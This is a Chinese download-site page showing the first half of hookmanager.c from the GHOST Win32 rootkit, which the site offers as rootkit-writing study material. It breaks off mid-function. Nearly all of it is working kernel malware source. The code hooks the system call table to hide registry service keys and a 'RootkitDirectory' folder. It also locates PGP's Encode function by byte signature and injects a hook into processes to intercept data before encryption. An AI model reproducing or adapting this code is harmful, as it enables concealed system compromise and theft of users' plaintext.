⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookmanager.c

📁 名为 GHOST的Win32下的Rootkit源码, 是学习ROOTKIT编写入门的优秀学习材料.
💻 C
📖 第 1 页 / 共 2 页
字号:
// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table

#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"
#include "registryManager.h"

WCHAR g_hiddenDirectoryName[] = L"RootkitDirectory";
#define HIDDEN_DIR_NAME_LENGTH 32

// Add kernel hook(s)
NTSTATUS HookKernel( )
{
	DWORD functionAddress;
	DWORD position;

	pMyMDL = MmCreateMdl(	NULL,
					KeServiceDescriptorTable.ServiceTableBase,
					KeServiceDescriptorTable.NumberOfServices * 4 );

	if( !pMyMDL )
		return( STATUS_UNSUCCESSFUL );

	MmBuildMdlForNonPagedPool( pMyMDL );
	pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

	if( !NewSystemCallTable )
		return( STATUS_UNSUCCESSFUL );

	// Need ZwProtectVirtualMemory to write into user memory.
	// But it's not defined in ntddk.h so look for pattern
	// searching backward from ZwPulseEvent
	OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
	if( OldZwProtectVirtualMemory == 0 )
		return( STATUS_UNSUCCESSFUL );

	// Add hooks here (remember to unhook if using DriverUnload)
	HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
	InitializeKeyTracking();
	HOOK( ZwOpenKey, NewZwOpenKey, OldZwOpenKey );
	HOOK( ZwQueryKey, NewZwQueryKey, OldZwQueryKey );
	HOOK( ZwEnumerateKey, NewZwEnumerateKey, OldZwEnumerateKey );
	HOOK( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );

	return( STATUS_SUCCESS );
}

// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
    IN HANDLE SectionHandle,
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN ULONG CommitSize,
    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
    IN OUT PSIZE_T ViewSize,
    IN SECTION_INHERIT InheritDisposition,
    IN ULONG AllocationType,
    IN ULONG Protect )
{
	NTSTATUS status;

	// First complete the standard mapping process
	status = OldZwMapViewOfSection(	SectionHandle,
					ProcessHandle,
					BaseAddress,
					ZeroBits,
					CommitSize,
					SectionOffset OPTIONAL,
					ViewSize,
					InheritDisposition,
					AllocationType,
					Protect );

	// Now remap as required ( imageOffset only known for versions 4 & 5 )
	if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
	{
		unsigned int	imageOffset = 0;
		VOID*			pSection = NULL;
		unsigned int	imageSection = FALSE;
		HANDLE			hRoot = NULL;
		PUNICODE_STRING objectName = NULL;
		PVOID			pImageBase = NULL;
		UNICODE_STRING	library1 = { 0 };
		UNICODE_STRING	library2 = { 0 };
		CALL_DATA_STRUCT	callData[TOTAL_HOOKS] = { 0 };		int					hooks2inject = 0;		
		// Image location higher in version 4
		if( majorVersion == 4 )
			imageOffset = 24;

		if( ObReferenceObjectByHandle(	SectionHandle,
										SECTION_MAP_EXECUTE,
										*MmSectionObjectType,
										KernelMode, 
										&pSection,
										NULL ) == STATUS_SUCCESS )
		{
			// Check to see if this is an image section
			// If it is, get the root handle and the object name
			_asm
			{
				mov     edx, pSection
				mov     eax, [edx+14h]
				add     eax, imageOffset
				mov     edx, [eax]
				test    byte ptr [edx+20h], 20h
				jz      not_image_section
				mov     imageSection, TRUE
				mov     eax, [edx+24h]
				mov     edx, [eax+4]
				mov     hRoot, edx
				add     eax, 30h
				mov     objectName, eax
				not_image_section:

			}
			if( BaseAddress )
				pImageBase = *BaseAddress;

			// Mapping a DLL
			if( imageSection && pImageBase && objectName && objectName->Length > 0 )
			{
				// define libraries of interest
				RtlInitUnicodeString( &library1, L"kernel32.dll" );
				RtlInitUnicodeString( &library2, L"PGPsdk.dll" );

				if ( IsSameFile( &library1, objectName ) ) // kernel32
				{
					kernel32Base = pImageBase;
				}
				else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
				{
					// Pattern for PGP 9.0 Encode
					BYTE pattern1[] = {	0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
										0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
										0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
										0x24, 0x18, 0xF3, 0xAB };

					PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1, sizeof(pattern1) );

					if( !pfEncode )
					{
					// Pattern for PGP 9.5 Encode
						BYTE pattern2[] = {	0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
											0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
											0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
											0xB4, 0x00, 0x00, 0x00 };

						pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2) );
					}
					if( pfEncode )					{						hooks2inject = 1;						callData[0].index = USERHOOK_beforeEncode;						callData[0].hookFunction = pfEncode;						callData[0].parameters = 2;						callData[0].callType = CDECL_TYPE;						callData[0].stackOffset = 0;
						DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
					}					else					{						DbgPrint("comint32:  PGP Encode not found.");					}				}
				if( hooks2inject > 0 )
				{
					PCHAR injectedMemory;

					// prepare memory
					injectedMemory = allocateUserMemory();
					// inject
					if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory ) )
					{
						DbgPrint("comint32: processInject failed!\n" );
					}
				}
			}
			ObDereferenceObject( pSection );
		}
	}
	return status;
}
// used by GetKeyName// Get a pointer to an object from its handlePVOID GetPointerByHandle( HANDLE handle ){	PVOID		pKey;	NTSTATUS	status;	status = ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL );		if( !NT_SUCCESS( status ) )		return NULL;	if( pKey )		ObDereferenceObject( pKey );	return pKey;}// used by NewZwOpenKey// Get a registry key's name from its handlevoid GetKeyName( HANDLE hKey, PUNICODE_STRING* ppKeyName ){	PVOID			pKey = NULL;	PUNICODE_STRING unicodeString;	PCHAR			pBuffer;	ULONG			length;	NTSTATUS		status;	*ppKeyName = NULL;	pKey = GetPointerByHandle( hKey );	if( pKey )	{		pBuffer = (PCHAR)ExAllocatePool( NonPagedPool,			MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) );		if( pBuffer )		{			memset( pBuffer, 0, MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) );			unicodeString = (PUNICODE_STRING)pBuffer;			RtlInitEmptyUnicodeString( unicodeString,				(PWCHAR)((DWORD)unicodeString + sizeof(UNICODE_STRING)),				MAXKEYNAMELENGTH * 2 );			status = ObQueryNameString( pKey, (POBJECT_NAME_INFORMATION)unicodeString, MAXKEYNAMELENGTH, &length );			if( status == STATUS_SUCCESS )
				*ppKeyName = unicodeString;			return;		}	}	return;}
// create an index that skips hidden subkeys
// when the parent key is \\Services
NTSTATUS NewZwOpenKey( OUT PHANDLE KeyHandle,	IN ACCESS_MASK DesiredAccess,	IN POBJECT_ATTRIBUTES ObjectAttributes ){
    int status; 

	status = OldZwOpenKey(
		KeyHandle,
		DesiredAccess,
		ObjectAttributes );      

	if( status == STATUS_SUCCESS )
	{
		// get the name of the key
		PUNICODE_STRING pKeyName = NULL;
		UNICODE_STRING servicesString = { 0 };
		RtlInitUnicodeString( &servicesString, L"Services" );
		GetKeyName( *KeyHandle, &pKeyName );
		// create special index for the Services key							
		if( pKeyName )
		{
			// Using IsSameFile as IsSameKey function
			if( IsSameFile( &servicesString, pKeyName ) )
			{
				DbgPrint("comint32: found g_servicesKey");
				CreateHiddenKeyIndices( *KeyHandle );
			}
			ExFreePool( pKeyName );
		}
	}

	return status;
}// return number of subkeys from special index// when the parent key is \\Services
NTSTATUS NewZwQueryKey( IN HANDLE KeyHandle,	IN KEY_INFORMATION_CLASS KeyInformationClass, 	OUT PVOID KeyInformation,	IN ULONG Length,	OUT PULONG ResultLength ){
    int status;
	ULONG numberOfSubkeys = -1;

    status = OldZwQueryKey(
		KeyHandle,
		KeyInformationClass,
		KeyInformation,
		Length,
		ResultLength );
    
	numberOfSubkeys = GetSubkeyCount( KeyHandle );
	
	if(	(status == STATUS_SUCCESS) && (numberOfSubkeys != -1) )
		if( KeyFullInformation == KeyInformationClass )
			if( KeyInformation )
				((KEY_FULL_INFORMATION*)KeyInformation)->SubKeys = numberOfSubkeys;

	return status;
}// return special index values
// when the parent key is \\Services
NTSTATUS NewZwEnumerateKey( IN HANDLE KeyHandle,	IN ULONG Index,	IN KEY_INFORMATION_CLASS KeyInformationClass, 	OUT PVOID KeyInformation,	IN ULONG Length,	OUT PULONG ResultLength ){    int status;
	int new_index;

	new_index = GetNewIndex( KeyHandle, Index );

	if( new_index != -1 )
		Index = new_index;

    status = OldZwEnumerateKey(
		KeyHandle,
		Index,
		KeyInformationClass,
		KeyInformation,
		Length,
		ResultLength );

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -